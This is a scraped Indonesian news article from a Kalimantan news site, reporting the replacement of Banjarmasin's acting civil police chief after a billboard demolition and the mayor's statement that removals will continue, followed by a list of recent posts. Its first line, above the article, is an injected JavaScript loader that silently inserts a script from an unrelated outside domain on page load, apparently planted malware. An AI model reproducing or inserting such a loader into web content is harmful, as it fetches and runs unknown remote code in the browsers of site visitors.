(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Kasatpol PP Diganti, Ibnu Sina: Pembongkaran Bando Reklame Dilanjutkan


KANALKALIMANTAN.COM, BANJARMASIN – Terhitung pada Senin (22/6/2020), jabatan Plt Kasatpol PP Kota Banjarmasin kembali berganti. Sebelumnya diisi Ichwan Noor Chalik yang juga menjabat Kepala Dinas Perhubungan (Dishub) Kota Banjarmasin, jabatan itu diisi Gazi Ahmadi saat ini menjabat sebagai Asisten I Pemerintahan Setdako Banjarmasin.

Penggantian jabatan Plt Kasatpol PP Kota Banjarmasin ini buntut pembongkaran bando reklame yang dilakukan Ichwan Noor Chalik pada Jumat (19/6/2020) dini hari lalu.

Wali Kota Banjarmasin H Ibnu Sina di Balai Kota Banjarmasin, Senin (22/6/2020) siang, mengatakan, Gazi telah menyatakan kesiapannya untuk mengisi jabatan sebagai Plt Kasatpol PP Kota Banjarmasin menggantikan Ichwan.

“Intinya beliau siap melanjutkan apa yang menjadi kebijakan dari Pemko dan saya meminta sesegera mungkin kepada beliau untuk menyelesaikan persoalan bando reklame. Terutama yang berkaitan dengan penertiban kemarin,” kata Ibnu.

Ibnu memastikan, mantan Kabag Umum Setdako Banjarbaru ini siap berkoordinasi dengan pihak Asisten II Setdako Banjarmasin dan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan. Apalagi, Ibnu menambah, Gazi sempat menjadi Kasatpol PP Kota Banjarmasin.

“Pernah di Satpol PP,” lugasnya.

Bando reklame sebelum dibongkar Satpol PP Banjarmasin. foto: fikri

Lalu, bagaimana dengan bando reklame yang sudah terlanjur dibongkar? Ibnu meminta Gazi segera berkoordinasi dengan SKPD terkait maupun pengusaha periklanan. Karena, bando reklame itu merupakan aset dari pengusaha periklanan itu sendiri.

Ditambahkannya, pembongkaran bando reklame itu dilakukan secara bertahap. Bahkan, pengusaha periklanan telah bersedia untuk membongkar sendiri bando reklame yang sudah ada.

“Tapi kan perlu proses. Termasuk mengeluarkan surat peringatan pembongkaran. Jadi memang tahapannya seperti itu,” jelas Ibnu.

Sehingga Ibnu memastikan, pembongkaran bando reklame itu tetap dilanjutkan. Kendati pucuk pimpinan Satpol PP Kota Banjarmasin telah berganti.

“Pihak pengusaha periklanan sudah sepakat saja. Kan tertuang di notulen itu, mereka sepakat untuk alih bentuk dan sepakat untuk bikin JPO (jembatan penyeberangan orang),” jelasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.